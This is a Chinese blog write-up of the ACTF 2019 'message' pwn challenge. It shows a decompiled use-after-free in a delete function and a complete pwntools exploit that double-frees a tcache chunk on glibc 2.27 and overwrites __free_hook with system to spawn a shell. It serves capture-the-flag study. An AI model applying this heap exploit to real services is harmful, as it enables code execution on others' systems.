Eureka's Studio.

(Tcache)ACTF_2019_message

2023/11/01

常规Tcache利用

[Tcache]ACTF_2019_message

1
2
apple@ubuntu ~/Desktop> patchelf --set-rpath /home/apple/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ACTF_2019_message
apple@ubuntu ~/Desktop> patchelf --set-interpreter /home/apple/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ACTF_2019_message

审计

不多嗦了 没溢出点 只有UAF漏洞在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 Delete()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Index is invalid!");
}
else
{
free(*(void **)&dword_602060[4 * v1 + 2]);
dword_602060[4 * v1] = 0;
--dword_60204C;
}
}
return __readfsqword(0x28u) ^ v3;
}

最开始还看错了 Del函数中删除的只有idx里的数组长度 而并没有删除 而环境是Ubuntu 18的 那么针对不同版本的glibc有不同的办法

GLIBC 2.27-3ubuntu1

对于这个及以下版本而言 Tcache的检查及其不严格 可以直接使用Tcache dup 直接double free就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level = 'debug'
sh = process('./ACTF_2019_message')
#sh = remote('node4.buuoj.cn',27384)
libc = ELF('./libc-2.27.so')

def Add(len, content):
sh.sendline('1')
sh.recvuntil('Please input the length of message:')
sh.sendline(str(len))
sh.recvuntil('Please input the message:')
sh.sendline(content)

def Del(idx):
sh.sendline('2')
sh.recvuntil('Please input index of message you want to delete:')
sh.sendline(str(idx))

def Edit(idx, content):
sh.sendlin('3')
sh.recvuntil('Please input index of message you want to edit:')
sh.sendline(str(idx))
sh.recvuntil('Now you can edit the message:')
sh.sendline(content)

def Show(idx):
sh.sendline('4')
sh.recvuntil('Please input index of message you want to display:')
sh.sendline(str(idx))

gdb.attach(sh)

Add(0x20, 'aaaa')
Add(0x500, 'cccccccc')
Add(0x20, '/bin/sh\\x00')

Del(1)
Add(0x500, 'cccccccc')
Show(3)

leak_addr = u64(sh.recvuntil('\\x7f')[-6:].ljust(8,'\\0'))
log.success('leak_addr :' + str(hex(leak_addr)))
libc_base = leak_addr - 0x3EBC0A
log.success('libc_base :' + str(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
log.success('free_hook :' + str(hex(free_hook)))
system_addr = libc_base + libc.sym['system']
log.success('system_addr :' + str(hex(system_addr)))

Del(0)
Del(0)
Add(0x20, p64(free_hook))

Add(0x20, 'aaaa')
Add(0x20, p64(system_addr))

Del(2)
sh.interactive()

注意一下 对于整个程序而言 只要free_hook的地址内有system 那么只要是该程序进行free操作时 都将调用system 此时只要free了/bin/sh\x00即可 就相当于是个简化版的fastbin的double free

CATALOG
  1. 1. [Tcache]ACTF_2019_message
    1. 1.1. 审计
    2. 1.2. GLIBC 2.27-3ubuntu1